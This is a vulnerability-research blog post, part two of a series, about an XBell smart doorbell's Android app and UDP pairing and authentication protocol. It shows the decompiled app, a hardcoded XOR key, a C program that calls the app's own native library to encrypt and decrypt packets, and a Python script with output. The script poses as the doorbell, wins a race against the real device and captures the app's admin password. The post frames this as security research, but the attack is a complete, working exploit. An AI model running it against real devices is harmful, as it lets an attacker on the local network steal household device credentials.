Skip to content

Bored Pentester

Bored Pentester

A collection of spare time spent reverse engineering, hardware hacking and conducting vulnerability research.

1st June 2024 / Uncategorised

Smart Doorbell Security (Part 2) (Client credential theft)

Previously, we threat modelled the device and highlighted some primary concerns where I wanted assurance. In this part, we intend to inspect the protocol, authentication and pairing mechanism employed by the application and device.

The pairing mechanism

The doorbell’s pairing and authentication mechanisms are fairly odd, but not uncommon. For the initial pairing, the device’s associated Android application will prompt the user for wireless network credentials, which, provided the device hasn’t been previously paired and is awaiting said credentials, will be transmitted in sound-wave form to the listening device.

The authentication mechanism

Upon the device receiving wireless credentials, it will attempt to join the configured network and the application, residing on the same network, will login to the device and ask the user to set a password of at least eight characters. The application commits the device’s unique identifier (UID) and the set password to its local storage during this initial process for future reference.

With a secure password configured and saved, the application when launched in future will automatically authenticate with the device in order to update elements of the user interface.

Through traffic analysis discussed later, this authentication process at a high-level was found to be as follows, where most packets were encrypted using a custom algorithm:

  • The Android application transmits an unencrypted UDP broadcast packet to the local subnet, asking which IP owns the earlier stored UID.
  • The device responds with a broadcast of its own, this time encrypted, containing various information, including its IP address and UID.
  • The application and device communicate directly with each-other at this point, with application attempting to authenticate with the device.

Below, we’ll highlight design flaws in this protocol before delving into the technical detail.

Exploiting protocol design flaws (the plan)

The astute reader may recognise a potential weakness in this protocol design. The application fails to authenticate the identity of the server responding to its broadcast, instead relying on the bespoke encryption of packets as a means to trust the responding device is in fact the expected device.

This common misconception allows us, with knowledge of the shared secret underpinning the bespoke encryption, to race the device where if we win, we obtain its credentials. The only caveats being that the client Android application must be opened and we must be connected to the same network as the application (in order to receive the broadcast).

Initial protocol review (in brief)

With the above noted, a brief overview of the protocol is warranted. With the device paired and attached to the local network, we can see the communication between the application and device that takes place upon launching the Android application.

The below filter is used to reduce the visible noise whilst capturing:

udp && !dns && !icmp && !ntp && ip.src != 192.168.1.254 && !ssdp && !mdns

For context, the devices were assigned the following IP addresses via DHCP:

  • XBell device: 192.168.12.173
  • Android application: 192.168.12.200

An example of sniffed broadcast and authentication traffic:

An image depicting the Android application issuing a broadcast for a given UID.

An example of encrypted packets:

An image depicting an encrypted packet sent by the XBell device

Examining the packet encryption algorithm

Examining the encrypted packets in more detail, we see recurring patterns in some cases:

0000   54 a5 8c 0d 62 bd d8 d2 24 6d 09 2c ac ca ca de   T¥..b½ØÒ$m.,¬ÊÊÞ
0010   b0 90 cf bb 30 f8 8c b6 61 41 3c 59 88 84 ae cd   °.Ï»0ø.¶aA<Y..®Í
0020   04 a4 8c 0d 62 bc d8 d2 21 0c 6a b9 ec 9a fa d8   .¤..b¼ØÒ!.j¹ì.úØ
0030   04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8   .¤..b¼ØÒ$-I.ìÊÊØ
0040   04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8   .¤..b¼ØÒ$-I.ìÊÊØ
0050   04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8   .¤..b¼ØÒ$-I.ìÊÊØ
0060   04 a4 8c 0d 62 bc d8 d2 24 2d 49 0c ec ca ca d8   .¤..b¼ØÒ$-I.ìÊÊØ
0070   62 65 49 20                                       beI 

The recurring pattern towards the end of the data stream is indicative of XOR encoding and reverse engineering the Android application provides a more insightful view of the implementation.

Inspecting the decompiled Android application, we find the below:

The Connect() method spawns mThreadConnectDev  where the run() method calls several further methods used to instantiate a connection:

 public void run() {
            this.mIsRunning = true;
            Camera.this.isConected = false;
            int i = 0;
            while (this.mIsRunning && Camera.this.mSID < 0 && !Thread.interrupted()) {
                DeviceStateCallbackInterface_Manager.getInstance().DeviceStateCallbackInterface(Camera.this.mDevUID, 0, 1);
                int UBIC_GetDevLibVer = UBICAPIs.UBIC_GetDevLibVer(Camera.this.mDevUID);
                Camera.this.ubia_UBICAPIs.p4plibver = UBIC_GetDevLibVer;
                Camera.this.ubia_UBICAVAPIs.p4plibver = UBIC_GetDevLibVer;
                Camera.this.nGet_SID = Camera.this.ubia_UBICAPIs.IOTC_Get_SessionID();
                if (Camera.this.nGet_SID >= 0) {
                    Camera.this.mSID = Camera.this.ubia_UBICAPIs.IOTC_Connect_ByUID_Parallel2(Camera.this.mDevUID, Camera.this.nGet_SID, Camera.this.isCMBell());
                    Camera.this.nGet_SID = -1;
                }

Inspecting the call implementations leads us to:

./com/my/IOTC/UBICAPIs.class:

public int IOTC_Connect_ByUID_Parallel2(String paramString, int paramInt1, int paramInt2)
  {
    return IOTCAPIs.UBIC_Connect_ByUID_Parallel2(paramString, paramInt1, paramInt2);
  }

./com/ubia/IOTC/IOTCAPIs.class:

  public static native int UBIC_Connect_ByUID(String paramString);
  
  public static native int UBIC_Connect_ByUID2(String paramString1, String paramString2, int paramInt);
  
  public static native int UBIC_Connect_ByUID_Parallel(String paramString, int paramInt);
  
  public static native int UBIC_Connect_ByUID_Parallel2(String paramString, int paramInt1, int paramInt2);
  
  public static native void UBIC_Connect_Stop();
  
  public static native int UBIC_Connect_Stop_BySID(int paramInt);

  [...]

The ‘libIOTCAPIs_ubia.so’ native library packaged with the application sounds like the most likely candidate to house the above methods and this can be confirmed via inspecting the exported symbols of the available native libraries:

$ readelf -Ws  *.so | egrep -i "iotc|file"
[...]
File: libIOTCAPIs_ubia.so
    17: 00004a48    28 FUNC    GLOBAL DEFAULT    7 m1_log_file
   239: 00018318   188 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Get_1Login_1Info
   241: 000183d4   164 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Get_1Version
   242: 00018478    96 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Set_1Max_1Session_1Number
   243: 000184d8   512 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Initialize
   244: 000186d8   252 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Initialize2
   245: 000187d4    92 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1DeInitialize
   246: 00018830   320 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Device_1Login
   247: 00018970   104 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Listen
   248: 000189d8   104 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Listen2
   249: 00018a40    84 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Listen_1Exit
   250: 00018a94    92 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Get_1SessionID
   251: 00018af0   244 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Connect_1ByUID
   252: 00018be4   276 FUNC    GLOBAL DEFAULT    7 Java_com_ubia_IOTC_IOTCAPIs_UBIC_1Connect_1ByUID2

[...]

Decrypting packets

Loading this library in IDA, the exported ‘UBIC_Connect_ByUID_Parallel2’ method lead us to an encryption routine via the below route of calls:

  • UBIC_Connect_ByUID_Parallel2
  • UBIA_Session_Init_Client_With_Sid
  • send_LanSearch
  • TransCode2
  • Send_UdpData

The TranCode2() function is a clear encoding routine, performing an XOR operation alongside some simple shifting and swapping:

int __fastcall TransCode2(char *a1, int a2, void *a3, unsigned __int16 a4)
{
  size_t n_2; // [sp+4h] [bp-20h]
  int v6; // [sp+8h] [bp-1Ch]
  char *src; // [sp+Ch] [bp-18h]
  signed int v8; // [sp+14h] [bp-10h]
  int v9; // [sp+18h] [bp-Ch]
  signed int i; // [sp+1Ch] [bp-8h]
  signed int j; // [sp+1Ch] [bp-8h]

  src = a1;
  v6 = a2;
  n_2 = (size_t)a3;
  v8 = a4;
  v9 = 0;
  memcpy(a3, a1, a4);
  while ( v8 > 15 )
  {
    for ( i = 0; i <= 15; i += 4 )
      DWORDbitshift(&src[v9 + i], v6 + v9 + i, (unsigned __int8)(i + 1), 0);
    XOR(v6 + v9, n_2 + v9, 16, "I believe 1 ^ill win the battle!");
    Swap(n_2 + v9, v6 + v9, 16);
    for ( j = 0; j <= 15; j += 4 )
      DWORDbitshift(v6 + v9 + j, n_2 + v9 + j, (unsigned __int8)(j + 3), 0);
    v9 += 16;
    v8 -= 16;
  }
  XOR(&src[v9], v6 + v9, (unsigned __int16)v8, "I believe 1 ^ill win the battle!");
  return Swap(v6 + v9, n_2 + v9, (unsigned __int16)v8);
}

Further inspection of symbols leads us to a ‘ReverseTransCode2()’ function also, used to decrypt as opposed to encrypt.

Living off the land

Normally I’d re-implement encryption/decryption methods, but there really is no need when they’re exported via the application’s libraries. We can just load the symbol from the library and, using some trial and error and reverse engineering, formulate a valid call.

My code to this is fairly straightforward:

// Packet encryption/decryption via calling native methods
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>

// example usage:
// adb shell /data/local/tmp/decrypt.o 04e69c6d62bdd8d2246d092ceccbcad406a4ec82628b7f54240d0900cccbcbea04a48c0d62bcd8d2226d7e1fecfccbd804a4cc0262887d56242d490ceccacad804a48c0d62bcd8d2206d7c1fecfecbd804a48c0d626cd840242d490ceccacad804a48cad62bcd8d260033c69fbf80eae04a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad804a48c0d62bcd8d2242d490ceccacad8 D
// expected output:
// 04020400D000000007042100000000000300C40032030000290000006A6F7368756132370000000000000000000000000000000000000000000000004A4F53485541323500000000000000000000000000000000000000000000000000002D095247563261574E6C0A0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

// thank you https://stackoverflow.com/questions/3408706/hexadecimal-string-to-byte-array-in-c 
int convert_to_bytearray(const char *hex_str, unsigned char *byte_array, int byte_array_max)
{
    int hex_str_len = strlen(hex_str);
    int i = 0, j = 0;

    // The output array size is half the hex_str length (rounded up)
    int byte_array_size = (hex_str_len+1)/2;

    if (byte_array_size > byte_array_max)
    {
        // Too big for the output array
        return -1;
    }

    if (hex_str_len % 2 == 1)
    {
        // hex_str is an odd length, so assume an implicit "0" prefix
        if (sscanf(&(hex_str[0]), "%1hhx", &(byte_array[0])) != 1)
        {
            return -1;
        }

        i = j = 1;
    }

    for (; i < hex_str_len; i+=2, j++)
    {
        if (sscanf(&(hex_str[i]), "%2hhx", &(byte_array[j])) != 1)
        {
            return -1;
        }
    }

    return byte_array_size;
}

int main(int argc, char *argv[])
{
  void *iotc_lib;
  // prototypes
  int (*ReverseTransCode2)(unsigned char *, unsigned char *, unsigned char *, unsigned int);
  int *(*TransCode2)(unsigned char *, unsigned char *, unsigned char *, unsigned int);
  
  if(argc != 3){
    printf("Usage: %s encrypted_str_ascii_hex <E|D>\n", argv[0]);
    return 1;
  }

  char *mode = argv[2];
  if(strcmp(mode, "D") == 0 && strcmp(mode, "E") == 0){
    printf("Invalid mode!\n");
    return 1;
  }

  // open our library and resolve symbols
  iotc_lib = dlopen("/data/data/cn.ubia.XBell/lib/libIOTCAPIs_ubia.so", RTLD_NOW);
  if(iotc_lib != NULL){
    *(void **)(&ReverseTransCode2) = dlsym(iotc_lib, "ReverseTransCode2");
    *(void **)(&TransCode2) = dlsym(iotc_lib, "TransCode2");

    if(ReverseTransCode2 == NULL || TransCode2 == NULL){
      printf("Error loading symbols\n");
      dlclose(iotc_lib);
      return 1;
    }
    

    unsigned char buff[1024] = "";
    int data_size = convert_to_bytearray(argv[1], buff, 1024);
    if(data_size < 0)
    {
        printf("Failed to convert '%s'\n", argv[1]);
        dlclose(iotc_lib);
        return 1;
    }
    else if(data_size == 0)
    {
        printf("Nothing to convert for '%s'\n", argv[1]);
        dlclose(iotc_lib);
        return 1;
    }

    unsigned char *unknown = (unsigned char *)malloc((data_size * sizeof(unsigned char)) + 1);
    unsigned char *out = (unsigned char *)malloc((data_size * sizeof(unsigned char)) + 1);
    memset(unknown, 0x00, data_size);
    memset(out, 0x00, data_size);
    
    if(strcmp(mode, "D") == 0){
        // decrypt and emit!
        ReverseTransCode2(buff, unknown, out, data_size);
    }else if(strcmp(mode, "E") == 0){
        TransCode2(buff, unknown, out, data_size);
    }

    const int header_size = 0;
    for(int i = header_size; i < data_size; i++)
      printf("%02X", out[i]);
    
    free(out);
    free(unknown);
  }else
    printf("Library load failed\n");
  
  dlclose(iotc_lib);
  return 0;
}

Of course, this code must be cross-compiled for ARM, which is a simple process provided the prerequisite toolchain is in place. I created a toolchain to build for ARM as follows:

// create build chain
export NDK=$HOME/testing/xbell/packet_decryption/android-ndk-r18b
$NDK/build/tools/make_standalone_toolchain.py --arch arm --install-dir=/tmp/my-android-toolchain
export PATH="/tmp/my-android-toolchain/:/tmp/my-android-toolchain/bin/:$PATH"
export CC=arm-linux-androideabi-gcc
export ANDROID_SDK_ROOT=$HOME/tools/android-sdk-linux
$CC -o crypt.o crypt.c

Just like that, it’s now possible to encrypt and decrypt packet data using our crypt.o code!

Inspecting packet data

With the ability to encrypt and decrypt packets, we’re now in a position to analyse and respond to the broadcasts made by the Android application. With some trial and error of multiple authentication attempts, we can see the expected responses and pretend to be the device.

Initial broadcasts:

The client, when launched sends the following plain-text broadcast:

The server responds with an encrypted message:

This message when decrypted, contains an initial DWORD, likely to represent the protocol version or packet signature, followed by an unknown DWORD and our device UID:

Direct communication

Once the above has been broadcasted, the client initiates a direct connection with the server and sends a packet to establish a session. Decrypted, it contains the following data:

In textual form, we’ve the below:

04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00

Inspection tells us this packet is most likely made up of:

  • Initial version/signature DWORD
  • Several unknown DWORDs or bytes
  • Our 20-byte UID
  • An unknown DWORD
  • Padding bytes

The server then responds, echoing the packet with minor changes:

04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00

Comparing the two side-by-side, these changes are apparent:

C: 04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
S: 04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00

We see there are indeed very minor changes. Sending this results in the client sending us the following:

04 02 04 00 20 00 00 00 04 04 21 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 02 5F 87 EA 00 00 00 00 00 00 00 00

We see our UID, followed immediately by a random DWORD (02 5F 87 EA), likely a session identifier. This session identifier is included in the server’s response, alongside some other data, which then results in the client sending us authentication details. The following reply is sent:

04 02 04 00 14 00 00 00 28 04 12 00 00 00 00 56 02 5F 87 EA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

We then wilfully receive credentials (shown and decrypted below):

Winning the race

With the above understanding, racing the device is a quick-win for credentials and output of our automation is shown below:

Spawning ADB! Make sure a device is attached and ADB authorised!
Authorised device found! This will be used for crypto operations!
Listening for broadcast from XBELL!
Got broadcast! Scanning...

	UID: VUVOFALVJ3JSEVDF2ZRQ
	Src: 192.168.1.88 37536
	Responding!
	Responded to broadcast! Waiting for direct reply!

	192.168.1.88 37536 is talking to us directly! Target acquired!
	Received encrypted challenge response 1: 04e69c0d62bdd8d2246d092ceccacadab090cfbb30f88cb661413c598884aecd04a48c0d62bcd8d2e1096ab9d09af029
	Decrypted response: 040204002000000001042100000000005655564F46414C564A334A5345564446325A525103CFA4D30000000000000000
	Extracting variables #
	UID: VUVOFALVJ3JSEVDF2ZRQ
	SEQ: 03 cf a4 d3
	Other: 01

	Crafting payload!
	Crafted response payload: 040204002000000002041200010000005655564f46414c564a334a5345564446325a525103cfa4d30000000000000000
	Encrypted payload: 24E58C2D62BCC8D2246D092CECCACADAB090CFBB30F88CB661413C598884AECD04A48C0D62BCD8D2E1096AB9D09AF029
	Sending encrypted payload!
	Response: 04e69c4d62bcc8d2246d092ceccacadab090cfbb30f88cb661413c598884aecd04a48c0d62bcd8d2e1096ab9d09af029
	Reply payload: 0402040014000000280412000000005603cfa4d300000000000000000000000000000000
	Encrypted payload: 26E58C8D63BCDCB2246D092CACCBCAD804A48C0D62BCD8D2280D19F6EC18CBD862654920
	Sending...
	Decrypted response: 040204002400000007042100010000000100000061646D696E000000000000006A6F736875613838363600000000000000000000
	Got credentials!
	$!adminjoshua8866
Done! Happy hunting!

My implementation isn’t 100% complete, but demonstrates the concept:

import select
import socket
import subprocess
import struct

# Initial communication packet
# send to port: 53195
broadcast_port_1 = 32761

# Tell XBELL that we're the expected device!
# Decrypted message with UID:
# broadcast_mesg = "\x04\x02\x04\x00\x98\x00\x00\x00\x04\x06\x12\x00\x00\x00\x00\x00\x56\x55\x56\x4F\x46\x41\x4C\x56\x4A\x33\x4A\x53\x45\x56\x44\x46\x32\x5A\x52\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# for now, just send this static encrypted version with our known UID
broadcast_mesg_1 = "\x24\xc5\x8c\x4d\x62\xbc\xd8\xd2\x24\x6d\x09\x2c\x6c\xcb\xca\xd0" \
"\xb0\x90\xcf\xbb\x30\xf8\x8c\xb6\x61\x41\x3c\x59\x88\x84\xae\xcd" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x21\x0d\x6a\xb9\xec\x9a\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x04\xa4\x8c\x0d\x62\xbc\xd8\xd2\x24\x2d\x49\x0c\xec\xca\xca\xd8" \
"\x76\x6c\x65\x62\x20\x65\x69\x49"

# make sure adb is spawned!
print "Spawning ADB! Make sure a device is attached and ADB authorised!"
adb = subprocess.check_output(['adb', 'devices'])
if 'device' not in adb:
	print "No authorised Android device identified. Please attach a device and enable ADB!"
	exit()
else:
	print "Authorised device found! This will be used for crypto operations!"

print "Listening for broadcast from XBELL!"

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, True)
s.bind(('0.0.0.0', broadcast_port_1))
s.setblocking(0)

while True:
    s = select.select([s],[],[])
    s = s[0][0]
    data, client_addr_port = s.recvfrom(1024)
    print "Got broadcast! Scanning...\n"

    # we should receive a UID!
    # Extract 20 chars
    uid = data[0:20]
    if(uid == "VUVOFALVJ3JSEVDF2ZRQ" or True):
		print "\tUID: %s" % uid
		print "\tSrc: %s %s" % (client_addr_port)
		print "\tResponding!"	

		# Build broadcast to say we're this UID!
		# ...

		# broadcast a response for client (encrypted and with device UID)
		# These are hard-coded and should be dynamically found, ideally!
		s.sendto(broadcast_mesg_1, ("192.168.1.255", client_addr_port[1]))
		s.sendto(broadcast_mesg_1, ("192.168.1.255", client_addr_port[1]))
		s.sendto(broadcast_mesg_1, ("255.255.255.255", client_addr_port[1]))
		s.sendto(broadcast_mesg_1, ("255.255.255.255", client_addr_port[1]))
		s.close()
		print "\tResponded to broadcast! Waiting for direct reply!"

		# create a new blocking socket and bind to local interface!
		# We intend the client to connect directly to us at this point!
		socket_direct = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
		socket_direct.bind(('192.168.1.79', broadcast_port_1))
		socket_direct.setblocking(1)

		# catch initial direct data
		data, client_direct_addr = socket_direct.recvfrom(1024)
		print ""
		print "\t%s %s is talking to us directly! Target acquired!" % (client_direct_addr)
		
		# get any remaining data off the wire
		for i in range(1,2):
			socket_data, client_direct_addr = socket_direct.recvfrom(1024)
			encrypted_data = ''.join(x.encode('hex') for x in socket_data)
			print "\tReceived encrypted challenge response %d: %s" % (i, encrypted_data)

		# decrypt it, get sequence DWORD, store it for use in response
		# returns ascii hex of supplied string
		decrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', encrypted_data, "D"])
		print "\tDecrypted response: %s" % decrypted_data
		print "\tExtracting variables #"
		decrypted_bytes = bytes(bytearray.fromhex(decrypted_data))
		
		print "\tUID: %s" % decrypted_bytes[0x10:0x24]
		print "\tSEQ: " + ' '.join(x.encode('hex') for x in decrypted_bytes[0x24:0x28])
		print "\tOther: " + ' '.join(x.encode('hex') for x in decrypted_bytes[0x8:0x9])
		
		
		# we echo the request back with minor changes
		# ^ immutable strings... Excuse the ugliness
		# build response:
		# challenge				  08	10	  12
		# 04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
		# response
		# 04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 8F EE CE F3 00 00 00 00 00 00 00 00
		#-------------
		# More valid responses:
		# 04 02 04 00 20 00 00 00 01 04 21 00 00 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 12 44 06 0F 00 00 00 00 00 00 00 00
		# 04 02 04 00 20 00 00 00 02 04 12 00 01 00 00 00 56 55 56 4F 46 41 4C 56 4A 33 4A 53 45 56 44 46 32 5A 52 51 12 44 06 0F 00 00 00 00 00 00 00 00
		print ""
		print "\tCrafting payload!"
		resp_2 = b"" + decrypted_bytes[0:0x8] + "\x02" + decrypted_bytes[0x9:0xA] + "\x12" + decrypted_bytes[0xB:0xC] + "\x01" + decrypted_bytes[0xD:]
		resp_2 = ''.join(x.encode('hex') for x in resp_2)
		print "\tCrafted response payload: %s" % resp_2
		
		# encrypt
		encrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', resp_2, "E"])
		print "\tEncrypted payload: %s" % encrypted_data
		encrypted_bytes = bytes(bytearray.fromhex(encrypted_data))
		# send response to client
		print "\tSending encrypted payload!"
		socket_direct.sendto(encrypted_bytes, client_direct_addr)
		data, client_direct_addr = socket_direct.recvfrom(1024)
		print "\tResponse (encrypted): " + ''.join(x.encode('hex') for x in data)
	
		#--------------------------------------------
		
		resp_2 = b"\x04\x02\x04\x00\x14\x00\x00\x00\x28\x04\x12" + decrypted_bytes[0xc:0x11] + decrypted_bytes[0x24:0x28] + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		resp_2 = ''.join(x.encode('hex') for x in resp_2)
		print "\tReply payload: %s" % resp_2
		# encrypt
		encrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', resp_2, "E"])
		print "\tEncrypted payload: %s" % encrypted_data
		encrypted_bytes = bytes(bytearray.fromhex(encrypted_data))
		# send response to client
		print "\tSending..."
		socket_direct.sendto(encrypted_bytes, client_direct_addr)
		# recv!
		for i in range(1,5):
			credential_data, client_direct_addr = socket_direct.recvfrom(1024)
			encrypted_data = ''.join(x.encode('hex') for x in credential_data)
			# decrypt
			decrypted_data = subprocess.check_output(['adb', 'shell', '/data/local/tmp/decrypt.o', encrypted_data, "D"])
			print "\tDecrypted response: %s" % decrypted_data
			if 'admin' in decrypted_data.decode("hex"):
				print "\tGot credentials!"
				print "\t" + decrypted_data.decode("hex")
				break;
			else:
				print "Failure! Retrying..."
				continue
		break

print "Done! Happy hunting!"
exit;

What next…

In the next part of this series, we’ll examine the hardware attack surface of the device to determine whether wireless credentials are removed following removal of the device from the wall.

Post navigation

Previous Post:

Smart Doorbell Security (Part 1) (Threat modelling)

Next Post:

Smart Doorbell Security (Part 3) (Wireless credential theft)

Leave a Reply Cancel reply

You must be logged in to post a comment.

©2025 Bored Pentester - Powered by Simpleasy